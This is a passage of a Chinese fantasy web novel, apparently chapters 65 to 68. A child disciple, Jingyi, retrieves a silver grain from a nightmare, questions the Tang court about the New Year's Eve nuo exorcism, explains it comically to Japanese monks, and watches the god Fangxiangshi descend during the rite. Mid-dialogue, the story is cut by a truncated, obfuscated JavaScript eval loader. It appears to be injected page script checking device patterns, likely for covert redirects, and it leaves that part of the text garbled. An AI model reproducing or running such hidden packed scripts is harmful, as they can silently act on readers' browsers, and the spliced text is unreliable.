是夜,景颐睡得正熟,颈间的玉锁微微散发着暖意。然而,那片曾被倭人使者勾起的、模糊而不安的画面碎片,似乎并未被玉锁完全抚平,反而在沉寂多日后,于梦境深处再次浮现,并且更加清晰了一些。 依旧是烽火,哭喊,陌生的土地,狰狞的甲胄,雪亮的刀光……还有一张模糊却充满戾气的面孔,似乎在咆哮着什么。 画面混乱而压抑,带着浓浓的恶意与血腥气,让梦中的景颐感到一阵窒息般的恐惧和难过。他不喜欢这个梦!非常不喜欢! “走开!坏梦!” 在极度的惊慌与抗拒中,景颐无意识地握紧了颈间的玉锁,心底拼命呐喊。就在这一刹那,他仿佛感觉到玉锁中那股新融入的、属于驺吾的祥和之气轻轻荡漾开来,与他自身的某种力量产生了共鸣。梦境如同被投入石子的水面,剧烈晃动、扭曲! “砰!” 仿佛某种无形的东西被挣断了。 景颐猛地从榻上坐起,大口喘着气,小脸上满是冷汗,心有余悸。月光透过窗棂,照亮了他熟悉的寝殿。噩梦带来的恐惧感还未完全散去,他下意识地往身边最温暖安全的地方寻求庇护。 下一秒,他像颗出膛的小炮弹,抱着自己的小枕头,赤着脚冲出房门,熟门熟路地撞开长琴寝殿虚掩的门,目标明确地朝着玉榻上那道身影扑了过去! “师父——!” 长琴几乎在殿门被撞开的瞬间就已察觉,但他并未设防。紧接着,一个温热、微颤、带着惊恐气息的小身子就重重地砸进了他怀里,两只小胳膊死死搂住他的脖子,力道之大,让长琴都微微一滞。 这还不算完,景颐的小短腿也胡乱蹬着,试图盘上来,整个人像只受惊的树袋熊,手脚并用地扒在长琴身上,小脸深深埋进他的颈窝,还带着未干的泪痕。 “呜……师父……坏梦……” 闷闷的、带着哭腔的声音从颈边传来,湿热的气息喷在皮肤上。 长琴猝不及防,被这个日渐敦实的小麒麟结结实实地一扑一搂,差点被他压得气息不顺。尤其那两只死死箍着脖子的手臂,让他的脸上难得地出现了波动。 他轻轻吸了口气,放下原本打算抚额的念头,伸手揽住怀中这团瑟瑟发抖的小火炉,另一只手握住景颐环在自己颈后的手腕,微微用力,带着他一个轻巧的翻身,将这只牢牢扒在自己身上的小树袋熊卸了下来,安放在身旁。 然而,景颐虽然人被放平了,手臂却依旧没有松开,反而搂得更紧,仿佛一松手就会被噩梦抓回去。整个小身子也顺势一滚,彻底蜷缩进长琴怀里,额头抵着师父的胸膛,汲取着那令人安心的、清冽如雪松般的气息。 长琴低头,看着怀里这颗毛茸茸的、还在轻微发抖的小脑袋,几不可闻地叹息一声。他伸出手,带着凉意的指尖轻轻拂过景颐汗湿的额发和紧闭的眼睛,一缕清凉平和的灵力悄然渡入,抚慰着他惊悸的心神。 “莫怕,只是梦魇。” 长琴的声音在寂静的夜里,比月光更清,却奇异地带着安定人心的力量。 “嗯……” 景颐在他怀里拱了拱,闷闷地应了一声,恐惧似乎被那缕清凉的灵力和师父身上熟悉的气息驱散了一些。 然后,他想起了什么,小手在睡衣口袋里摸索了一下,掏出一个东西,也顾不上姿势别扭,就往长琴手里塞,“师父你看!从坏梦里带出来的!硌到我了!” 长琴指尖微动,触感坚硬微凉。借着透窗而入的月光,他看清了掌中之物,一块黄豆大小却亮银银的……银子?虽然很小,但成色极纯。 长琴眼中掠过一丝讶异。他托着那块小银粒,凝神感应。上面确实残留着一丝极其微弱、却与近日宫中倭人气息同源、却又更加暴戾混乱的场,正是景颐噩梦的源头。 而小银粒本身,则带着明显的、不属于这个时代的异物感。 “你是说……此物,是你从方才的梦境中带出的?” 长琴确认道,同时不动声色地调整了一下姿势,让某个依旧挂在他脖子上、半个身子压着他胸口的小家伙能呼吸更顺畅些。 “嗯!” 景颐用力点头,虽然脸还埋在师父衣襟前,声音却清晰了些,带着点告状的意味,“有火,好多人在哭,在打架,刀亮亮的……还有人好凶好凶地喊!我不喜欢!就想让它走开,然后手里好像抓住了个硬东西,醒过来就在口袋里了。” 他描述得断断续续,但那份厌恶和恐惧是真实的。 长琴沉默了片刻,用空着的那只手,再次轻轻点在那枚紧贴着他皮肤的玉锁上,仔细探查着徒弟体内此刻的灵力流转。这一次,他感应得更加清晰。 “看来,驺吾所赠精粹,与父亲之锁相辅相成,确然助你稳固了本源,亦激发了潜藏之能。” 长琴缓缓开口,清冷的嗓音在静夜中流淌,“你方才在梦中极度抗拒,情急之 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忽然,他脑子里灵光一闪,猛地从床上跳下去,连鞋都顾不上穿,又跑回自己寝殿。不一会儿,他举着一个东西,风风火火地跑了回来,献宝似的递到长琴面前。 正是那只自从汴京梦境后,就一直乖乖待在他案头,却始终未曾褪色破损的纸兔子。 “师父师父!那这个呢?这个兔子!也是苏叔叔给我的!是不是……是不是也是我从梦里带回来的?!” 他激动得小脸通红,眼睛在月光下亮得惊人,仿佛发现了惊天大秘密。 长琴接过那只纸兔,指尖拂过。纸兔依旧栩栩如生,甚至因为常被景颐把玩,边缘已经有些毛茸茸的磨损感。他凝神感应,这一次,感受更加清晰。 “此兔与你带回的银粒不同。” 长琴将纸兔还给眼巴巴的景颐,缓缓道, “其上并无强烈的异世气息,亦非你主动摄回。它之所以能长存不坏,随你归来,乃是因为它曾被你那位苏叔叔随身携带,长久沾染其诗文灵气与对你的一份喜爱赠予之心。你当时在梦中得他赠予,心中喜悦珍视,这份纯粹的心念,恰与你初显的灵性产生了微妙共鸣。 “与其说是你从梦中将它带回,不若说是它本身因缘际会,得了些许灵韵,又喜欢你,便借着梦境通道,懵懂地跟着你来了。而你后来灵力渐长,无意识间也以自身气息温养着它,故它能存留至今。” 简而言之,银子是景颐硬抢回来的,纸兔子是人家自愿跟来并且赖着不走还被养得挺好的。 景颐捧着他的纸兔子,听得一愣一愣的。所以……兔子是喜欢他才跟着他的?银子是他生气从坏梦里捡的?好像……都挺厉害的? 他摸摸纸兔子柔软的长耳朵,又看看师父手里那粒小小的银子,忽然觉得,能做这种神奇的梦,好像也不全是坏事?至少,坏梦还能留下买路财? “那……师父,我以后还能从梦里带别的东西吗?好吃的点心?好玩的玩具?或者……把大猫猫带回来玩一天?” 他立刻开始畅想,小脸上恐惧尽去,满是跃跃欲试。 长琴看着他瞬间恢复活力、甚至开始得寸进尺的模样,眼中掠过一丝笑意,但语气依旧平淡: “灵犀妙用,在于心诚念纯,不可强求,更不可贪多。今日之事,乃机缘巧合,心境剧烈波动所致。寻常梦境,未必可行。至于将活物带出……” 他顿了顿,看着景颐瞬间垮下的小脸,补充道, “西山驺吾,你若想念,为师日后可带你去访它。它若愿意,自会现身与你玩耍,无需强带。” “哦……” 景颐有些失望,但想到还能去见大猫猫,又高兴起来。他把小银粒从长琴手里拿回来,和纸兔子一起宝贝地笼在手里,重新钻进被窝,紧挨着师父,心里那点噩梦的阴影早就被能力升级的新奇和兴奋冲得无影无踪。 “睡吧。” 长琴替他掖好被角,指尖轻弹,一点安神的清辉没入景颐眉心。 66.第 66 章 腊月的尾巴像抹了油,溜得飞快。宫中各处张灯结彩,桃符焕新,空气里都飘着熬糖、蒸糕、炖肉的诱人香气,年的味道浓得化不开。 大人们忙得脚不沾地,小孩子们则像掉进了蜜罐,兴奋地期待着新衣、压岁钱,以及一年到头最丰盛的那顿年夜饭。但今年,在景颐心里,压轴大戏非除夕夜的大傩仪式莫属。 自从听老宫人眉飞色舞地讲了“方相氏黄金四目,执戈扬盾,率百隶驱鬼”的传说后,景颐那颗小小的好奇心就被彻底点燃了,熊熊燃烧成了求知的烈焰。 他决定,在亲眼目睹那场神秘盛大的仪式前,要先成为全宫最了解傩仪的小博士! 于是,接下来的日子,景颐化身行走的十万个为什么,开始了地毯式、无差别的采访攻势。他的活动轨迹遍布宫闱,逮着谁问谁,问题如连珠炮,热情似三伏天。 “师父师父!” 午膳后,景颐像颗粘人的小牛皮糖,蹭到正在窗边翻阅琴谱的长琴身边,扒着他的胳膊,眼睛亮晶晶的,“除夕傩仪,是不是有特别厉害的人,戴着能看见鬼怪的面具?面具是不是真的金子做的?重不重?戴着怎么跳舞啊?” 长琴从琴谱上移开目光,落在徒弟写满好奇的小脸上。他轻轻点了点景颐的眉心,语气平淡:“非金,乃木胎,外髹金漆,取其威严肃穆之意。重约数斤,舞者皆需孔武有力之辈。” “哇!木头做的,刷上金漆?那也很厉害!几斤重……” 景颐想象了一下,觉得自己的小脖子可能撑不住,但立刻又想到新问题,“那跳舞是不是有特别的步子?像不像《七德舞》?我能学吗?” 说着就开始在旁边空地扭动小身子,胡乱比划着,试图模仿想象中的驱鬼舞步,舞姿不堪入目。 长琴看着他这自创的、毫无章法的傩舞,轻笑道:“傩舞古朴,重威仪气势,非寻常乐舞。你年纪尚小,筋骨未成,学之无益。” “哦……” 景颐停下动作,有点小失望,但师父至少解释了重威仪气势,这词他记住了!可以拿去跟别人说!不过,他还想知道更多。 “那师父,面具上的四个眼睛,真的能看见鬼吗?鬼长什么样?是不是青面獠牙?” 长琴合上琴谱,看向窗外萧瑟的冬景:“目为心窗。金漆四目,意在震慑,令邪祟自惭形秽,不敢近前。至于鬼魅之形,人心各异,所显亦不同,并非定式。” “那到时候,他们会来我们凝云轩赶鬼吗?师父你怕不怕?哦不对师父你肯定不怕,鬼怕你!” 景颐自问自答,又蹭回长琴身边,拽着他的袖子摇啊摇,“师父,你再给我多讲讲嘛,还有没有别的?唱的词是什么?真的能把鬼赶跑吗?” 长琴被他晃得书也看不下去了,索性放下,抬手轻轻按在那颗问题不断的小脑袋上,止住了他的晃动。 “驱傩之礼,意在涤荡污秽,迎纳新生。心诚则灵,礼到则成。其余细节,除夕观之便知。” “哦……好吧。” 景颐看出师父不想再多说了,虽然还有点意犹未尽,但已经收获了好几个听起来很厉害的词句,够他消化和转述一阵子了。他心满意足,松开师父的袖子,欢欣鼓舞地跑开了,决定去李叔叔和大姐姐那里再挖点情报。 要说哪里是获取官方权威信息的最佳地点,那非属两仪殿和立政殿不可。景颐通常会挑李世民批阅奏章间隙,或长孙皇后处理宫务的茶歇时间,蹭过去,开启好奇宝宝模式。 “李叔叔!大姐姐!” 他趴到御案边,仰着小脸,努力让自己的表情看起来既纯真又好学,“傩仪是不是从很久很久以前,从周朝就有了?那时候的人也戴面具吗?面具是不是更吓人?” 李世民放下朱笔,看着小家伙满脸的想听故事,觉得有趣,便顺手把他捞到膝上,笑道:“是啊,《周礼》有载,‘方相氏掌蒙熊皮,黄金四目’。至于吓不吓人……据说能吓退疫鬼,你说厉不厉害?” “厉害!” 景颐用力点头,立刻追问,“那我们现在宫里的傩仪,是最大的吗?比所有王朝的都大吗?” 李世民被他这跳跃的对比弄得失笑:“朕之大唐,自然不落人后。至于是否最盛大……” 他故意卖关子,捏了捏景颐的鼻尖,“除夕那晚,你瞪大眼睛自己瞧,看比不比得上你那些梦里的热闹。” “嗯!” 景颐信心满满,随即眼珠一转,开始暴露真实意图,他扭了扭身子,期期艾艾地问:“那个……李叔叔,大姐姐,我……我能也去跳舞吗?就戴个小面具,跟在后面一起赶鬼?我保证不捣乱!我跑得快!” 长孙皇后闻言,立刻放下手中册子,温柔但坚定地摇头:“不可,颐儿。此乃驱傩古礼,涉及鬼神之事,非同儿戏。参与者皆需精壮男子,心志坚定,且有特定规制。你年纪尚小,不宜参与其中。” 她虽然知道景颐身世不凡,但在这等严肃的祭祀仪式上,孩童参与总归不妥,容易冲撞,也怕他不知轻重吓着。 景颐的小脸顿时垮了下来,嘴也撅了起来。李世民见状,却笑着拍了拍他的背,给了个看似有望实则渺茫的胡萝卜: “想参与?也行啊。这样,你若能将《急就篇》与《千字文》从头至尾,一字不错地背诵下来,叔叔就考虑让你去跟着学学如何敲那鼗鼓,如何?” “真的?!” 景颐眼睛一亮,但随即想到那两本书的长度和自己磕磕绊绊的背诵水平,小脸又皱成了苦瓜,小声嘟囔,“可……可等我书背好了,傩仪也结束了呀……” 李世民被他这实诚又沮丧的模样逗得哈哈大笑,伸手点了点他的额头:“那还不趁现在赶紧去背?背得快些,兴许还能赶上趟?” “哦……” 景颐不情不愿地从李世民膝上滑下来,觉得李叔叔这个条件跟大姐姐的直接拒绝好像也差不多,都很难实现。他蔫头耷脑地往外走,决定还是先去问问别人看热闹的事。 从兄姊这里,往往能得到更生动甚至惊悚的一手资料。 李承乾相对正经地描述流程:“选禁军中健硕者五百人为伥子,十二至十六岁少年郎一百二十人为童子,着赤帻皂衣,执鼗鼓。方相氏戴面具,玄衣朱裳,执戈扬盾。唱傩词,逐室驱疫,最后送出宫门,埋牲于宫外……” 景颐听得认真,准备下次显摆用。 到了李泰这里,画风突变。“嘿,我跟你说,那可不止是赶鬼!” 李泰压低声音,神秘兮兮, “我听说,以前有过不听话的小孩,非挤到前面去看,结果被面具上的金光照到,当晚就发了癔症,胡言乱语,说自己被鬼抓走了!好几天才好!” 他边说边做出张牙舞爪的吓人表情。 景颐被吓得一哆嗦,小脸白了白,但随即又挺起胸膛,强作镇定:“我、我才不怕!我有师父给的玉佩!爷爷给的玉锁!鬼不敢近身!而且……而且我会站在大姐姐旁边!” 丽质和豫章则笑着分享她们记忆中漂亮的傩舞服饰、震耳欲聋却让人热血沸腾的鼓点,以及仪式结束后,宫中上下那种焕然一新的喜庆感觉。 李治则和景颐一样,充满憧憬,两人经常头碰头,根据各自听来的信息,拼凑脑补出更加夸张华丽的傩仪场面。 景颐甚至把采访范围扩大到了宫学的学霸们和偶尔遇见的大臣。 “冲表哥!善识阿兄!” 他在弘文馆回廊逮住长孙冲和唐善识,“傩词是不是特别难背?都是古话吗?你们听得懂吗?会不会有急急如律令?” 长孙冲温和解释:“傩词多取自《周礼》及古巫祝之辞,意在威慑诸疫。并非道家词句。至于听懂……大致意思明了便可。” 唐善识则挤眉弄眼:“小景颐,你这么关心,是不是想混进去当个小童子?你这小身板,怕是连那大拨浪鼓都扛不动吧?哈哈哈!” “谁说我扛不动!” 景颐气得跺脚,随即又好奇,“那面具是不是每年都新做?有没有特别丑或者特别帅的?” 偶遇下朝的房玄龄、杜如晦、魏徵等人,景颐也会凑上去问两句,虽然多半得到的是更概括、更严肃的回答,但他总能从中提炼出关键词,记在小本本上,作为增加学术分量的砝码。 几天下来,景颐的小脑瓜里塞满了关于傩仪的各种信息碎片。他现在感觉自己就是全宫,不,全长安最懂傩仪的小孩!就差一个展示的舞台了。 机会很快就来了。这日午后,阳光难得暖和,景颐在宫中溜达消食,恰好撞见几个倭国留学僧,在鸿胪寺一位通译的陪同下,正在研究太极宫前广场上为傩仪提前搭建的木质高台和灯架。他们指着那些结构,低声用倭语讨论着,脸上写满好奇与惊叹。 景颐眼睛“唰”地亮了!这不正是展示他博学、进行文化输出的天赐良机吗?他立刻整理了一下身上崭新的宝蓝色小锦袍,扶了扶有点歪的镶玉小冠,努力模仿着李叔叔平日里接见属国使者时的沉稳步态,迈着小方步,不紧不慢地踱了过去。 “咳咳。” 他在离留学僧们几步远的地方停下,清了清嗓子,成功吸引了众人的注意。 留学僧们回头,见是这位气度不凡的小郎君,连忙躬身行礼,态度恭敬:“哈依!小郎君安好。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他再次比划了一个巨大的圆,“一摇起来,‘咚咚咚、哗啦啦’,声音可大了,能把鬼震聋!” 留学僧们想象着数百面大拨浪鼓齐鸣的场景,虽觉奇异,但更感震撼,连连点头。 “还要念咒!” 景颐煞有介事,压低声音,模仿着想象中唱师肃穆的样子,“就是念很多很多鬼的名字,比如……甲作!巯胃!还有什么伯啊简啊的,反正都是坏鬼!念一个名字,就赶跑一个!从最大的宫殿,到做饭的地方,到井边,茅房……都不放过!全赶出去!” 通译已经悄悄背过身去,假装咳嗽,实则肩膀抖得更厉害了。这历数十二凶神恶煞、索室驱疫的庄严仪式,被小郎君说得跟大扫除似的,还特别点名了茅房…… “最后!” 景颐深吸一口气,做出总结,小脸严肃,“大家把代表坏东西的玩意儿,一起轰出宫门,在外面找个地方埋了,还要杀猪宰羊祭祀!这样宫里就干干净净,什么坏东西都没了,可以高高兴兴过年了!” 他把自己听来的傩仪环节,用自己理解的方式组合起来,自觉描述得非常清楚明白。留学僧们则被他这全流程解说深深折服,虽然细节经通译转述后可能略有调整,但那份古老、盛大、充满力量的仪式感,已经深深印入他们心中。 “哈依!吾等今日得闻小郎君讲解,对大唐驱傩古礼,心生无限敬仰!届时必当虔诚观礼!” 留学僧们再次深深鞠躬。 景颐心里美滋滋的,摆摆手,正想再说点关于面具是不是每年都新做的独家消息,眼角的余光猛地瞥见宫道拐角那熟悉的玄色身影——李承乾! 而且,李承乾似乎正朝这个方向走来,目光还扫了过来! 景颐心里一跳。上次在弘文馆教学被当场提溜走的记忆瞬间回笼。要是被大兄看见他又在这里好为人师,对着外国使臣瞎显摆,还不知会被怎么说道呢! “我、我还有事!先走了!你们记得看啊!” 景颐脸上的自得表情瞬间崩盘,丢下一句话,转身就跑,速度快得只留下一道残影。 留学僧们愕然。通译终于忍不住,闷笑出声,边笑边对留学僧们解释:“小郎君……咳咳,活泼可爱,学识……呃,颇为独特。” 而成功逃逸的景颐,拍着小胸脯庆幸躲过一劫,随即又得意起来: 看,我讲得多好!他们听得可认真了!除夕夜,我定要坐在最好的位置,让他们看看,我说得一点没错!至于那些细节上的小小出入…… 嗯,气氛到了就行!他毫无负担地想,蹦蹦跳跳地找李治分享刚才的高光时刻去了。 67.第 67 章 自腊月二十六起,凝云轩就出现了奇景。 天光未亮,一个裹成球的小身影,就会准时出现在寝殿门口的门槛上,搬着小杌子,双手托腮,眼巴巴地望着院门,活像一尊望穿秋水的雪娃娃。 “师父,爷爷今天会来吗?” “师父,爷爷会从哪个门进来?” “师父,爷爷会不会忘记日子了?” 每日清晨,长琴都会被这几乎相同的问题迎接。他通常只是瞥一眼那执拗的小背影,回一句“尚早”或“届时便知”,便自顾做自己的事。他知道,父亲答应的事自然会做到。 然而,连续几日的早起和殷切等待,耗尽了孩童本就有限的精力。 到了真正的大年三十清晨,当第一缕微光还未透进窗棂,本该是最兴奋的守望日,景颐却因为前几日缺的觉一股脑儿涌上来,在小床上睡得天昏地暗,四仰八叉,小嘴微张,发出绵长的呼吸声,连梦话都含糊不清,显然睡得极沉。 长琴晨起,路过景颐寝殿,见里面毫无动静,便知小家伙今日是有心无力了。他微微摇头,唇角几不可察地弯了一下,径自去庭院中晨练。 他没有等待太久。 当晨曦真正为宫殿披上金纱时,庭院中的空气毫无征兆地温暖起来,带着一股干燥而蓬勃的气息。 梅树下,一道身影悄然显现,正是祝融。他目光扫过,先是对庭院中正缓缓收势的长琴露出一个带着戏谑的笑容,随即视线便投向静悄悄的寝殿。 “我那乖孙儿呢?还没起?” 祝融大步流星走过来。 长琴抬眸,语气平淡:“连等数日,今日倦极,正酣睡。” “哦?” 祝融挑眉,眼中闪过促狭,放轻脚步,径直推开了景颐寝殿的门。只见床榻上,小家伙睡得正香,一只脚丫子蹬在外面,被子卷成一团抱在怀里,脸蛋睡得红扑扑,对外界动静毫无所觉。 祝融走到床边,俯身细细端详,越看越觉得可爱。他伸出带着暖意的手指,轻轻戳了戳景颐软乎乎的脸颊。 “唔……” 景颐在梦中皱了皱小鼻子,无意识地挥手拂了拂,翻了个身,继续睡。 祝融忍俊不禁,又捏了捏他露在外面的肉乎乎的小脚丫。 这下,景颐终于有了点反应,他含糊地咕哝了一声,蜷了蜷脚趾,长长的睫毛颤动了几下,才勉强睁开一条缝。视线朦胧中,映入了熟悉的墨发金冠、红袍,还有那张带着促狭笑意的英俊脸庞。 呆滞了三秒。 “爷、爷爷?!” 景颐猛地睁大眼睛,瞬间清醒,一骨碌从床上坐起来,不敢置信地看着床边含笑的人,又看看门口静立的长琴,随即爆发出巨大的欢呼,“爷爷你真的来了!!” 他像颗小炮弹,直直扑进祝融怀里,紧紧搂住他的脖子,小脸埋在那温暖坚实的颈窝里蹭个不停,“颐儿等你好久!还以为你不来了!” “哈哈哈!爷爷答应的事,几时食言过?” 祝融朗声大笑,稳稳接住这枚热情的小麒麟,将他举高高转了个圈,“倒是你,说好等爷爷,自己却睡得小猪似的!” “我、我前几天都起得好早的!” 景颐急忙辩解,搂着祝融的脖子撒娇,“是今天太困了嘛……爷爷不许笑我!” “好好好,不笑不笑。” 祝融将他放下,揉了揉他睡得乱糟糟的头发,“快起来洗漱,爷爷带你和长琴去吃好吃的,逛长安年集!” 景颐以最快的速度把自己收拾干净,换上新衣,像只快乐的小鸟,在凝云轩里飞来飞去。 等他再次回到主屋时,发现祝融和长琴已经对坐在窗边的棋坪前,开始对弈了。阳光透过窗纸,洒在两人身上,一炽热一清冷,气氛却有种奇异的和谐。 景颐不敢打扰,乖乖搬了个小凳子坐在祝融脚边,托着腮看他们下棋。虽然看不懂,但觉得爷爷执黑子气势汹汹,师父执白子从容不迫,很好看。 几局棋罢,已近午时。祝融将手中棋子一丢,笑道:“不下了不下了,没意思。走,长琴,带上景颐,咱们去西市,寻个最热闹的酒楼,痛痛快快吃一顿年饭!听说长安除夕的岁宴,花样繁多得很!” 长琴正不紧不慢地收捡棋子,闻言动作一顿,抬眸,语气是一贯的平淡:“你们去吧。我与淳风有约,需往钦天监一趟,商讨些星象节气之事。” 理由听起来很正当。 祝融却眯起眼,似笑非笑地看着他,促狭道:“哦?与李淳风有约?商讨星象?得了吧,我的儿,你那点毛病,爹还不知道?你这舌头是被清露雪水洗过的,只吃得惯自己小厨房那点清汤寡水的玩意儿,外面的菜肴,油重一分嫌腻,盐多一毫嫌浊,火大一点嫌燥。是不是?” 长琴:“……” 被父亲当着徒弟的面毫不留情地揭穿挑食老底,长琴素来平静的面容上罕见地掠过一丝窘迫,他垂下眼睫,收拾棋子的动作快了不少,声音依旧平稳,却带着一丝僵硬:“确、确有要事,父亲与颐儿自便即可。” 说完,不等祝融再调侃,他迅速将棋子收好,起身,对景颐略一点头:“为师午后便回。” 然后几乎是有些匆忙地,转身离开了凝云轩,白衣背影很快消失在院门外,颇有几分落荒而逃的意味。 “哈哈哈!” 祝融看着儿子难得失态的背影,开怀大笑,拍了拍还在懵懂的景颐,“瞧见没?你师父这人,看着冷,毛病可多,还死要面子!走,不管他,爷爷带你去吃遍西市!” 景颐虽然有点遗憾师父不能一起去,但能跟爷爷单独去逛热闹的年集,也足够让他兴奋了。他牵起祝融温暖的大手,蹦蹦跳跳地出了宫。 除夕的白日,长安西市人山人海,摩肩接踵,叫卖声、欢笑声、讨价还价声汇成一片欢乐的海洋。各种吃食香气扑鼻,杂耍表演引人驻足,琳琅满目的年货让人眼花缭乱。 祝融带着景颐,直奔最有名的醉仙楼,要了个临街的雅间,点了一桌子最时兴、最地道的年节菜肴。 景颐吃得满嘴流油,小肚子滚圆。趁着祝融自斟自饮、悠然看街景的功夫,他忽然想起自己的疑问,咽下嘴里的蜜汁火方,好奇地问:“爷爷,你活了那么——久,见过方相氏吗?就是晚上要出来赶鬼的那个神仙?他是不是特别凶?长着四个眼睛?” 祝融放下酒杯,笑道:“方相氏啊……起初并非生而为神,乃是人间官职,因常行驱傩之事,受百姓香火愿力,近年方凝聚神格,算是新晋的小神。爷爷我司掌天下火务,忙得很,他专司驱疫,各有所职,平素并无交集,故而未曾见过。怎么,晚上想看?” “嗯嗯!” 景颐用力点头,眼睛发亮,“听说可威风了!爷爷,晚上我们一起看吗?你和师父会来吗?” “自然要来看我乖孙儿盼了这么久的盛事。” 祝融给他夹了块剔好刺的鱼脍,语气笃定,“你师父嘛……他肯定嫌下面人多吵嚷,会找个清静的高处瞧着。这毛病,也随我。” 最后一句带着点自得。 除夕之夜,太极宫前广场,万盏宫灯将黑夜照得亮如白昼。庄严肃穆的气氛随着时间推移,沉甸甸地压在每个人心头。文武百官、宗室亲眷、各国使节按序肃立,鸦雀无声。 李世民与长孙皇后端坐于高高的御座之上,神色肃然。皇子公主侍立在前排,景颐也被安排在他们身边。他努力踮着脚,既兴奋又有点紧张地望向广场深处那幽暗的甬道。 而在广场侧后方,一座较高的宫殿屋脊之上,两道身影悄然伫立,远离了下方人群的喧嚣与灯火最盛处。 一者墨发金冠,红袍烈烈,负手而立,周身暖意驱散了夜寒。一者白衣如雪,清冷出尘,正是祝融与长琴。他们并未刻意隐藏,但自然的力场使得下方无人能察觉这屋脊上的观众。 “咚——!!!” 夤夜时分,一声沉重的鼓响,骤然撕裂寂静!紧接着,数百面鼙鼓、鼗鼓同时擂动,节奏由缓至急,由疏至密,最终汇成一片震耳欲聋、撼动人心的滔天声浪!如同千军万马自地底奔出,又如黄河怒涛拍击崖岸。 前排的李治被这突如其来的巨响吓得一哆嗦,下意识抓紧了旁边李承乾的衣袖。李承乾拍了拍他的手背,目光却紧紧盯着甬道深处。 李世民神色不变,放在膝上的手 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人群中有低呼传来,带着敬畏。李泰兴奋地踮脚,对旁边的景颐小声道:“看!出来了!好威风!” 景颐也瞪大了眼睛,看着那威武的身影,心里想着爷爷说的新晋小神,又觉得眼前这人虽然威猛,但似乎……和想象中腾云驾雾、金光闪闪的神仙不太一样?倒更像是个特别厉害的将军。 那方相氏在广场中央站定,随着鼓点,开始舞动戈盾。动作古朴、雄健、充满力量感,每一次挥戈,每一次顿盾,都带着千钧之力,仿佛真的在与无形的邪祟搏杀。禁军伥子与红衣童子们环绕四周,摇鼓呼喝,声势浩大。 李世民看着,微微颔首,对身旁的长孙皇后低声道:“今年选的这人力道不错,舞得颇有章法。” 在他看来,这是一场极其成功的、彰显国威与礼制的盛大仪式。 屋脊上,祝融看了几眼,便失了兴趣,对长琴道:“这凡人倒是有把子力气,舞得似模似样,也就仅此而已了。” 长琴没有回应,他的注意力被更多地放在感应空气中某种逐渐汇聚、躁动的无形气场上。 而站在前排的景颐,最初的兴奋过后,他那远超常人的灵觉开始发挥作用。 他看到空气中漂浮着许多极其黯淡、几乎不可见的灰黑色絮状物,仿佛灰尘,却又带着令人不适的阴冷感。 那可能就是爷爷说的晦气、病气?他还看到,随着鼓声和那方相氏的舞动,这些灰絮被搅动、驱散了一些。 很厉害,但似乎……还在“人”的范畴?并没有神仙叔叔降临的感觉啊? 真正的转变,发生在仪式中途,狂风最烈之时。 那扮演方相氏的巨汉,正完成一个高举戈盾、仰天长啸的威猛动作,身形凝立于广场中央,承受着最猛烈的风与最耀眼的火光。 忽然! 没有任何预兆,广场上空那呼啸的狂风,仿佛被一只无形巨手攫住,猛地向内一收,随即以方相氏为中心,轰然炸开一道肉眼可见的、淡金色的环形气浪!气浪无声,却带着一种涤荡一切的纯净力量,瞬间扫过整个广场! “!” 所有观礼的凡人,无论是御座上的帝后,还是前排的皇子,抑或后方的臣民使节,都在同一瞬间浑身一颤! 仿佛心头某种无形枷锁被蓦地挣断,肺腑间浊气尽去,吸入的空气都清冽了许多。一种难以言喻的、灵魂被洗涤的澄澈感与祥和之意弥漫心间。 那原本带着阴森寒意的狂风,也骤然变得干净而有力。众人不明所以,只觉仪式越发神异,仿佛有真正的伟力降临,敬畏之心骤然攀升至顶点,连呼吸都放轻了。 屋脊上,祝融与长琴的目光同时一凝。只见一道周身流转着暗金色神力光焰的虚影,自虚无中一步踏出,与场中那凝立不动的巨汉身影瞬间重合! 那巨汉的躯体仿佛成了一个精致的容器,此刻被注入了浩瀚神能。黄金四目面具之下,原本属于凡人的目光已然消失,取而代之的是一双威严的、洞彻幽冥的璀璨金眸! 方相氏,降神了。 68.第 68 章 站在前排的景颐,小嘴已经张得极大,眼睛瞪得溜圆! 在金色气浪炸开的瞬间,他颈间的赤玉麒麟锁烫得吓人,体内溯梦之力疯狂奔涌。 他清晰地看到,一个无比高大的玄甲金眸神将,如同撕开帷幕,骤然出现在那方相氏身后,然后融了进去! 原本那个威武的人,气息瞬间变了!变得深不可测,煌煌如天威,那面具下的目光扫过来时,景颐甚至忍不住缩了缩脖子,有种被远古巨兽凝视的感觉。 但这还不是最让他震惊的。 当那方相氏缓缓转动头颅,黄金四目扫视全场时,景颐看到了他这辈子从未想象过的景象。 广场四周,那些阴暗的角落、廊柱背后、甚至一些观礼者自身的阴影里,无数道极其淡薄的形态各异的身影,被那神目金光照了出来! 有的面容愁苦,有的身形佝偻,有的缠绕着黑气……他们并不像是故事里青面獠牙的厉鬼,更像是滞留人间的、充满执念、病气或衰怨的残魂、地缚灵之类的微弱存在。 在方相氏的神威与那涤荡全场的金光下,这些淡薄的身影如同暴露在烈日下的冰雪,迅速消融。 他们大多露出了解脱、释然、甚至感激的神情,身影化作点点微光,袅袅上升,最终消散在夜空深处,仿佛去了该去的地方。 “那是……鬼吗?不,好像不太一样……” 景颐看得入了神,甚至忘了害怕,只剩下满满的新奇与震撼。 原来平常看不到的地方,有这么多东西吗?原来傩仪……不只是赶走晦气,还会送走这些……人?他看得目不暇接,小脑袋瓜被巨大的信息量冲击得嗡嗡作响。 此刻的广场,在众人眼中,仪式进入了最肃穆、最震撼人心的阶段。那方相氏动作愈发缓慢沉重,却带着一种难以言喻的威严,每一次戈盾挥动,都仿佛牵动着天地之力,令人不敢直视,心生无边敬畏。鼓声呼喝仿佛成了应和这天威的乐章。 在屋脊上的两位正神看来,这不过是方相氏履行其神职的一次标准操作。祝融甚至还点评了一句:“清理得还算干净。” 长琴微微点头,他的注意力更多被仪式核心那被激发、正逐渐显化的《鸣岐谱》残卷气息所吸引。 而在景颐眼中,这是一场前所未有的、真实不虚的神迹观摩课。他看到了神降,看到了净化,看到了另一个世界的冰山一角。 当仪式进入最后高潮,万民齐呼“傩”声撼动天地时,他体内的溯梦之力与这驱邪本源神力产生了最强共鸣!他眼前再次浮现出那熟悉的流光,正从仪式核心的气场中艰难凝聚。 